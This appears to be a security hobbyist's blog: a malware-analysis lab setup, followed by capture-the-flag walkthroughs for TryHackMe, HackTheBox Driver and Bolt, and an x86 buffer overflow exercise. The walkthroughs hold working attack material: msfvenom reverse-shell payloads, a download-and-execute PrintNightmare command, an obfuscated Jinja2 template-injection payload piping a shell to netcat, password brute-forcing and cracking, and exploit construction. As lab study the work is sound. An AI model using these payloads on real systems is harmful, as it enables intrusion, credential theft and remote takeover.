Update 2 Mar 2022: I migrated from VirtualBox to Parallels 16 and I get MUCH better performance, even when running both boxes simultaneously. Windows 10 is WAY more fluid and my resource utilization is way down. I am considering upgrading to a new M1 Mac, and Parallels 17 + Windows 11 ARM is the only virtualization software available so this is my test run with Parallels as a hypervisor.

Quick Overview

Main Device: MacBook Pro 2017
- Intel i7 2.9 GHz Quad-Core Processor
- 16GB 2133 MHz LPDDR3 RAM
- Radeon Pro 560 4 GB Graphics
- 500 GB internal SSD, 1TB external Samsung SSD (MU-PC1T0T)
Parallels Virtual Machines
- Linux Box running REMnux v7 (Ubuntu v20.04.3 LTS)
  - 4096 MB RAM
  - 128 MB VRAM
  - 50GB VDisk on the external SSD
  - 2 Network Adapters
    - One adapter configured with static IP of 10.10.2.2 (private network. no internet)
    - One adapter using Shared Network (DHCP) for internet access
- Windows Box running un-activated Windows 10 Pro
  - 4096 MB RAM
  - 128 MB VRAM
  - 50GB VDisk on the external SSD
  - 1 Network Adapter
    - Configured with static IP of 10.10.2.3, default gateway and DNS set to go back to REMnux box of 10.10.2.2

Setup

VM Setup - Phase 1

Create a new virtualbox VM. Download the .ova file from REMnux here and install.
Run remnux upgrade and waited a while to ensure it was all up-to-date. I also ran sudo apt-get update && sudo apt-get upgrade just to be sure.
Shut down the VM and make a snapshot of latest patches
Create a second virtualbox VM for windows. I downloaded a fresh .iso from Microsoft here and went through the setup. I provided it a key for Windows 10 Pro I found even though I had no actual intentions of activating.
Download and install flare-vm tools from here. Wait for it to install then shutdown and save a snapshot

Network Setup

Now it's time for the network setup to get these two boxes communicating with each other.

In VirtualBox, add a new network adapter to both machines like so:

New Adapter

Make sure the name matches.

REMnux Network Setup

REMnux uses netplan for configuration. After adding the new adapter in the previous step, boot the VM back up and run ifconfig. There will be two enp0s# adapters, one of which will have an IP and the second doesn't have anything. For me, they were enp0s3 and enp0s8.

Run ls /etc/netplan to see the name of the configuration file that is being used. Mine was 01-netcfg.yaml so I can edit it with sudo nano /etc/netplan/01-netcfg.yaml. I created the enp0s8 adapter and saved it:

# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: yes
    enp0s8:
      addresses:
      - 10.10.2.2/24

Apply the changes with sudo netplan apply and now if you run ifconfig you will see the static IP for the new enp0s8 adapter:

Our two adapters

Windows Network Setup

Navigate to the Network Connections in Control Panel. Right click the Network Adapter, Click Properties. In the new window, find Internet Protocol Version 4 and click it, then click Properties.

The IP address can be anything, I chose 10.10.2.3 with a subnet mask of 255.255.255.0 ensure the first 3 octets match the octet range used for the linux box. Now the Default Gateway and Preferred DNS server need to point back to the same IP used for the linux box.

Completed Network Settings

REMnux Lab Preparation

Shutdown both boxes and create a snapshot. This will be where to return after doing any malware infections or if something goes awry. Returning to this point ensures we have upgraded boxes with the network setup properly.

To actually start properly capturing the data from the windows box into REMnux, we open two terminals and run a command in each. Be sure to replace the network adapter and IP with whatever you used for this linux box.

$ accept-all-ips start enp0s8
# After that command runs, next run the following (using the IP you set the box to)
$ sudo inetsim --bind-address 10.10.2.2

In a second terminal run:

$ sudo fakedns -I 10.10.2.2

Now we will have all network traffic that comes through our box captured. The fakedns will respond to every DNS call with its own IP. The inetsim will return an HTML page whenever the website is then requested.

Our running services, note all of the DNS hits in the terminal on the right being redirected to ourselves

Open Wireshark on the REMnux box and choose the same enp0s8 adapter, here we can monitor all the queries being made from our windows box! Test it by trying to open anything on the Windows box:

Success!

This query should make a hit on the DNS terminal and in Wireshark. Now we are ready for any malware to come through and try to make network requests

Windows Preparation

On our windows box, we can start up procmon right before we execute the malware to keep track of what processes are changing in the background. Once we let it run for several minutes, Save the file as .csv and send to procDot to help clean it up and generate a process graph!

procDot also needs windump.exe, which can be installed from here, and dot.exe can be found in C:\Program Files\GraphViz\bin\dot.exe.

Ready

Now we have snapshots, network communication and tracking and process tracking. We are ready to roll!

References:

Building a Custom Lab: https://www.sentinelone.com/labs/building-a-custom-malware-analysis-lab-environment/
Configuring Network on Ubuntu: https://serverspace.io/support/help/configuring-the-network-interface-in-ubuntu-18-04/

TryHackMe: Basic Malware RE

2022-01-07T14:20:35-05:00

Link: https://tryhackme.com/room/basicmalwarere

This is another one of the free rooms in the Malware Analysis Module of TryHackMe.

This is a challenge room, where we are given files and just need to try a flag, instead of a more guided learning room.

Challenge 1

Running strings on this executable is no good, it returns over 1600 random flags. But popping this file into IDA immediately shows us the correct one:

Challenge 2

I threw this file back into IDA and it is very similar where it prints each character of the flag in order:

Challenge 3

This one is a bit trickier, running strings or putting it through IDA shows no references to flag{. I tried searching the strings and found nothing. Stumped, I switched from IDA to Ghidra to see if it helped. Doing so immediately helped reveal the flag by hovering over the final parameter of LoadStringA in the entry function.

Hack The Box - Driver

2021-10-04T15:31:18-04:00

Link: https://app.hackthebox.eu/machines/Driver

Enumeration

TCP Port Scan

nmap top 1000 ports with version detection

Our port scan reveals a possible windows 7-10 machine with a web server up.

I used metasploits' auxiliary/scanner/smb/smb_version to find the SMB and Windows version and it returned SMB 3.1.1, Windows 10 Enterprise build 10240.

Web Server

Attempting to navigate to the web server pops up an authentication prompt "MFP Firmware Update Center. Please enter password for admin".

Fortunately for us, admin:admin worked as the credentials. The only important page here is the Firmware Updates tab. It allows us to select a printer model and upload firmware. I inspected the headers of the page and we see the server is Microsoft-IIS/10.0 and an X-Powered-By PHP/7.3.25 header. My next guess is we need to supply either a windows binary or PHP shell script to the upload form and see what it does. We'd also need to know where the file uploads to. A gobuster scan only reveals a /images directory without directory indexing so we cannot see inside of it.

I attempted to load a revshell.php file to the firmware upload and then went to see if we could access it under /images/revshell.php but no dice.

I used msfvenom to generate a reverse shell payload for windows using the following command:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.58 LPORT=4444 -f exe > shell.exe

I tried the .exe for each of the 4 printer models and waited a few minutes but nothing happened and I never received a callback.

My next thought is to intercept the request with BurpSuite and change the printer name to some sort of command instead of relying on the file upload.

I was a bit stumped here so I ran a full port scan over ports 1-65535 and discovered a new port, 5985 which is WinRM.

Also if we look on the firmware upload page it says the form will "upload the respective firmware update to our file share. I found this article on using an SCF file to intercept NTLM hashes. After following the article and uploading the .scf file, we get 7 hits for user DRIVER\tony and an NTLMv2 Hash.

I copied the first hash and echoed it to a file. Next using hashcat:

$ hashcat -m 5600 -a 0 ntlm /usr/share/wordlists/rockyou.txt

Nets us a password of tony:liltony

WinRM

Since I discovered port 5985, WinRM, on the second nmap scan, we can use evil-winrm to try and gain access.

$ evil-winrm -i 10.129.214.79 -u tony -p liltony

This command connects us as tony and gives us a PS command line, we can find the user.txt on tony's desktop.

Priv Esc

I downloaded WinPEAS from here onto my machine, then then ran the following:

> Invoke-WebRequest -Uri http://10.10.x.x:8000/winPEASany.exe -OutFile winPEASany.exe
> ./winPEASany.exe

One interesting thing the script found was a scheduled bat file as admin:

automated job

The actual contents of these scripts are here:

script source code

It appears it references the firmware folder again, that must be where the uploader would drop files. It seems that it checks all open shell windows and if the location url of the shell equals C:\firmwares then it quits the shell.

I looked more into print driver CVE since it seems what this box is all about and found one by the name of PrintNightmare, found here.

I downloaded the CVE code to my machine then threw up the Python web server again. In WinRM, I ran the following:

> IEX(New-Object Net.Webclient).downloadstring('http://10.10.x.x:8000/CVE-2021-1675.ps1')
> Invoke-Nightmare -NewUser "SuperAdmin" -NewPassword "SuperAdmin"

[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user SuperAdmin as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

Now we can kill WinRM and login with our new credentials.

$ evil-winrm -i 10.129.214.79 -u SuperAdmin -p SuperAdmin

Now we have local admin rights, we can cd to C:\Users\Administrator\Desktop for the admin flag!

Get Admin Hash

Finally, I did a few extra steps to get the admin hash to lock this blog post.

# my machine
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.x.x -f exe > m.exe
$ python3 -m "http.server"
$ msfconsole
(msf6) > use exploit/multi/handler
(msf6) > set PAYLOAD payload/windows/x64/meterpreter/reverse_tcp
(msf6) > set LHOST 10.10.x.x
(msf6) > run

# victim machine through WinRM, as SuperAdmin
> Invoke-WebRequest -Uri http://10.10.x.x:8000/m.exe -OutFile m.exe
> ./m.exe

Our listener through metasploit makes a connection and we can run hashdump to get the hash for the admin account.

HackTheBox - Bolt

2021-10-01T11:31:20-04:00

Link: https://app.hackthebox.eu/machines/Bolt

Enumeration

TCP Port Scan

nmap top 1000 ports tcp port scan with version detection

Preliminary port scan reveals SSH on port 22 and two web servers on ports 80 and 443.

SSL Web Server

Attempting to access the https version of the website prompts a security warning. We can further investigate this certificate and get the common name of the website:

certificate

I added passbolt.bolt.htb and bolt.htb to my /etc/hosts file for convenience. Now accessing the URL gives a login page:

I attempted to enter admin@bolt.htb and get the following error:

invitation error

We could probably use this error to help us identify valid email addresses but for now I'm going to check out the regular website on port 80 and see what we can determine from there.

Web Server (Port 80)

We get a pretty standard boilerplate template for the main website but there is a login page. The title of this page is Boilerplate Code Jinja - Sign IN | AppSeed. Jinja tells us we have a templating engine in Python, so we could have a SSTI vulnerability with this login and registration form.

I attempted to register with:

Username: {{3*3}}
Email: {{3*3}}@gmail.com
Pass: test

But it throws an internal service error. It appears no matter what gets tried it will consistently return a 500 error when trying to register.

Back on the /login endpoint, I attempted credentials test:test and got an Invalid login. Forbidden. Most notably, however, admin:admin returns Invalid password. Please try again. We could definitely brute force this since we know admin is a valid username.

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt bolt.htb http-post-form "/login:username=^USER^&password=^PASS^:Invalid password" -V

While this is running, we can perform a gobuster directory scan:

gobuster directory

I also performed a GoBuster vhost scan and discovered mail.bolt.htb and demo.bolt.htb that I added to /etc/hosts.

Docker Image

We have several endpoints revealed. /download gives us a docker tar image, we can load it with:

$ sudo docker load -i image.tar
$ sudo docker run flask-dashboard-adminlte_appseed-app:latest

Next I navigated to our docker container's IP and saw this:

However browsing around shows this is just another pre-built template with nothing of interest. Looking in the various layer.tar files in the image, I found an .env file with the following:

DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass

Inside of the layer starting with /a4ea7da..., there is a db.sqlite3 file. Opening this shows a username and password hash for admin@bolt.htb:

admin hash

I saved this to a file and used hashcat to crack the password

$ hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt

And in less than 30 seconds we get a match:

password cracked

If we use these credentials on the http://bolt.htb/login, it grants us access.

Web Server (Port 80) Authenticated

We see a similar Admin dashboard to the docker container. I searched around and we can do XSS on the calendar page for JS. Refreshing the page purges the calendar back to original. It seems like this dashboard is a dead end. I found two additional domains from the gobuster vhost scan from before, let's check those out

demo.bolt.htb

It looks very similar to the original, however when attempting to register it requires an invite code. The admin:deadbolt credentials do not work on here.

If we dive back into the image.tar from earlier, inside of the layer starting with /41093412e0..., and inside /layer.tar/app/base/routes.py is code to check for the invitation code:

invitation code

Using this code with test:test and email of test@bolt.htb, we can log in to demo.bolt.htb. Although, it looks very similar to the other dashboard just with more templates on the sidebar and I cannot really find anything interesting.

mail.bolt.htb

The admin:deadbolt credentials still do not work here, however the test:test we created on demo.bolt.htb do work here. I attempted to send an email but it fails.

After much testing, if you edit your profile on demo.bolt.htb:

edit profile

It will send an email for confirmation via mail.bolt.htb:

confirm changes

If we do SSTI such as {{3*3}}, it is reflected in the email:

SSTI Python

From this page, the last payload for Jinja2 filter bypass works. I replaced the id command with a reverse shell like so:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f')|attr('read')()}}

Start a nc listener and then confirm the changes from the email and we get a reverse shell as www-data.

Reverse Shell

In the /home directory, we have two users: eddie and clark, however we are unable to read these directories as www-data. Hopefully we have something on the box that will help us move into a user account.

Some discoveries:

netstat -l --numeric-ports reveals we have a MySQL server running
/var/www/demo.config.py reveals a SQLALCHEMY URI of mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail

We can access the database with:

$ mysql -u bolt_dba -p boltmail
Enter password: dXUUHSW9vBpH5qRB

The only table in boltmail is user table and interestingly it just shows the hash for the admin user we discovered before and our test user so nothing new here.

From our nmap scan, we know we have nginx running and we can find configuration files in /etc/nginx. There is also the passbolt app we had running on 443, the configuration filke says the root for this is /usr/share/php/passbolt/webroot. Inside of /bin I found a healthcheck. I executed it and it told me about a config/passbolt.php. Running locate passbolt.php shows we have a configuration file in /etc/passbolt. There is more database credentials here:

'Datasources' => [
         'default' => [
             'host' => 'localhost',
             'port' => '3306',
             'username' => 'passbolt',
             'password' => 'rT2;jW7<eY8!dX8}pQ8%', 
             'database' => 'passboltdb',
         ],
     ]

We can connect with mysql -u passbolt -p passboltdb like before. There are a lot more tables in this database. Both eddie@bolt.htb and clark@bolt.htb are listed in users but I did not find any hashes in the database. There is a secrets table here but the secret is encrypted with a password or phrase. Fortunately for us, eddie reuses this password for SSH and we can gain access that way.

eddie

First grab the user.txt flag in this home directory. A quick sudo -l check reveals we cannot run any sudo commands. I put LinPeas.sh onto the box and outputted the results to a file in order to read through more thoroughly

Discoveries:

Sudo Version 1.8.31
/usr/sbin/dovecot (mail server) running as root
Google Chrome seems to be running on the box, there is files in /home/eddie/.config/google-chrome
- /home/eddie/.config/google-chrome/ZxcvbnData/1/passwords.txt
/usr/bin/gettext.sh and /usr/bin/amuFormat.sh
/var/lib/php/sessions
email in /var/mail/eddie

If we cat /var/mail/eddie we get an email from Clark about the password management server. It says to download the extension to your browser and use a private key to recover the account.

If we search in the Google Chrome directory for PRIVATE KEY, we can find references in a log file inside of an extension. I copied this text and put it into VS Code. Replace \\r\\n and then hit SHIFT + ENTER in the replace box to have an actual new line. Replace all for the PGP Key:

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

Now we can attempt to crack it with john

$ gpg2john pgpfile > gpghash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=gpg gpghash

After close to 12 minutes, the password is cracked as merrychristmas. Log back into the MySQL passboltdb again and let's checkout the secrets table. I copied the PGP message to my kali box and saved it as pgp_msg.

Now run the following commands:

$ gpg --import pgpfile
# enter passcode of merrychristmas
$ gpg -d pgp_msg
# enter passcode if prompted

This gives us the following decrypted message:

{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}

I tried to su clark with this password but it fails. However if we just run su to switch to root, the password does work!

Let's grab the flag and we are done!

Hack The Box Academy - Buffer Overflow on Linux x86

2021-08-13T17:04:19-04:00

While attempting a different reverse engineering / pwn challenge, I realized I needed more background knowledge on how to properly do a buffer overflow, thus I took the Stack-Based Buffer Overflows on Linux x86 case from HTB academy. This is my writeup of the final Skills Assessment

Discovery

First we need to see what file we are working with, get some starting addresses, then start debugging to see if we have the ability to overflow into the eip.

htb-student@nixbof32skills:~$ objdump -f leave_msg 
 leave_msg:     file format elf32-i386
 architecture: i386, flags 0x00000150:
 HAS_SYMS, DYNAMIC, D_PAGED
 start address 0x00000550

First, we check to see what file format, architecture and starting address of the file are using objdump -f.

If I try to disassemble with objdump -d, my terminal hangs when hitting the main function. Attempting to run this program either on its own or standalone causes an immediate segmentation fault. I find this a bit odd. I tried resetting the machine but it still does it, so it must be intended.

I found we need to pass a parameter to the program and then it pastes it in /home/htb-student/msg.txt. Each time you run the program, it wipes the file and inserts the new message.

Determining Buffer Overflow Vulnerability

Through some trial and error, I kept sending increasing amounts of \x55 to the program. Between 2000 and 2100 nets us a segmentation fault. We can find the exact offset with some metasploit scripts.

First I use /pattern_create.rb to give us a 2100 byte payload that we know will cause a segmentation fault:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb - l 2100

Next, back in gdb we can paste this in with python:

run $(python -c "print 'Aa0Aa1Aa2Aa3...6Cr7Cr8Cr9'")
...

Program received signal SIGSEGV, Segmentation fault.
0x37714336 in ?? ()

The program errors out and give us a unique hex code thanks to the pattern. Now we use this hexcode with another metasploit tool, pattern_offset.rb to get the exact number of characters needed to reach the eip register:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336
[*] Exact match at offset 2060

Taking Control of the `eip`

Voila! We now know it takes 2060 bytes to reach the eip. We can verify this with a special statement:

run $(python -c "print '\x55' * 2060 + '\x66' * 4")
...
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

This statement fills the buffer with \x55 bytes and then fills the eip with \x66. If we run info registers we can see this happening (trimmed for easy reading):

(gdb) info registers
...
 ebx            0x55555555       1431655765
...
 ebp            0x55555555       0x55555555
...
 eip            0x66666666       0x66666666
...

Now we know how to buffer overflow and take control of the eip to point to our own malicious address.

Identify initial payload length

Now we need to generate a payload with msfvenom. I ran uname -a on our machine and we have an Ubuntu x86_64 linux machine.

Now we can craft the payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> lport=4444 --platform linux --format c
...
Payload size: 74 bytes
...

This tells us our payload is 74 bytes.

Before we use our payload, we need to identify any bad characters the payload cannot have. We need to do some math to figure out exactly what to craft:

 Buffer = "\x55" * (2064 - 256 - 4) = 1804
  CHARS = "\x00\x01\x02...\xfe\xff" # 256
    EIP = "\x66" * 4'

So our buffer gets 1800 bytes, our character string is 256 bytes, and our eip is 4 bytes.

We will need to set a breakpoint so we can investigate the memory without the program crashing:

(gdb) disas main
Dump of assembler code for function main:
    0x0000073b <+0>:     lea    0x4(%esp),%ecx
    0x0000073f <+4>:     and    $0xfffffff0,%esp
    0x00000742 <+7>:     pushl  -0x4(%ecx)
    0x00000745 <+10>:    push   %ebp
    0x00000746 <+11>:    mov    %esp,%ebp
    0x00000748 <+13>:    push   %esi
    0x00000749 <+14>:    push   %ebx
    0x0000074a <+15>:    push   %ecx
    0x0000074b <+16>:    sub    $0xc,%esp
    0x0000074e <+19>:    call   0x590 <__x86.get_pc_thunk.bx>
    0x00000753 <+24>:    add    $0x1869,%ebx
    0x00000759 <+30>:    mov    %ecx,%esi
    0x0000075b <+32>:    sub    $0x4,%esp
    0x0000075e <+35>:    push   $0x0
    0x00000760 <+37>:    push   $0x0
    0x00000762 <+39>:    push   $0x0
    0x00000764 <+41>:    call   0x4b0 <setresuid@plt>
    0x00000769 <+46>:    add    $0x10,%esp
    0x0000076c <+49>:    mov    0x4(%esi),%eax
    0x0000076f <+52>:    add    $0x4,%eax
    0x00000772 <+55>:    mov    (%eax),%eax
    0x00000774 <+57>:    sub    $0xc,%esp
    0x00000777 <+60>:    push   %eax
    0x00000778 <+61>:    call   0x68d <leavemsg>
    0x0000077d <+66>:    add    $0x10,%esp
    0x00000780 <+69>:    sub    $0xc,%esp
    0x00000783 <+72>:    lea    -0x175c(%ebx),%eax
    0x00000789 <+78>:    push   %eax
    0x0000078a <+79>:    call   0x4f0 <outs@plt>
    0x0000078f <+84>:    add    $0x10,%esp
    0x00000792 <+87>:    mov    $0x0,%eax
    0x00000797 <+92>:    lea    -0xc(%ebp),%esp
    0x0000079a <+95>:    pop    %ecx
    0x0000079b <+96>:    pop    %ebx
    0x0000079c <+97>:    pop    %esi
    0x0000079d <+98>:    pop    %ebp
    0x0000079e <+99>:    lea    -0x4(%ecx),%esp
    0x000007a1 <+102>:   ret

The best breakpoint would be at 0x778 where it makes the call to the actual leavemsg function. We can run break leavemsg to break on the function name.

Now We use this information to craft our actual testing payload:

(gdb) run $(python -c 'print "\x55" * (2064 - 256 - 4) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

Once we hit enter, it will pretty immediately hit the breakpoint for our function. Now is the time to examine the memory.

We can do so using x/2000xb $esp+750. The important part of this step is to find any chars that have been skipped and record them so msfvenom does not use them in its payload.

Here is what I found:

\x00\x09\x0a\x20

We can pass this in as a string for the option --bad-chars so msfvenom will avoid them:

Generate final payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.x.x lport=4444 --bad-chars="\x00\x09\x0a\x20" --platform linux --format c
...
Payload size: 95 bytes
...

Now we need to take the payload output and combine it into one big string.

With our string, we need to do one last math problem for final buffer and NOPs size:

    Buffer = "\x55" * (2064 - 100 - 95 - 4) = 790
      NOPs = "\x90" * 100
 Shellcode = "\xbd\x95\xf6...\x02\xce" #95
       EIP = "\x66" * 4'

And use this in the run $(python -c 'print ...') command.

Find address for payload

Our code will hit the breakpoint again. Now we need to find a line or two in the NOPs before our shellcode appears and use that memory address in the eip. Our shell code starts with 0x48 0x31 ... and will be the first bytes after the sequence of `0x90` bytes.

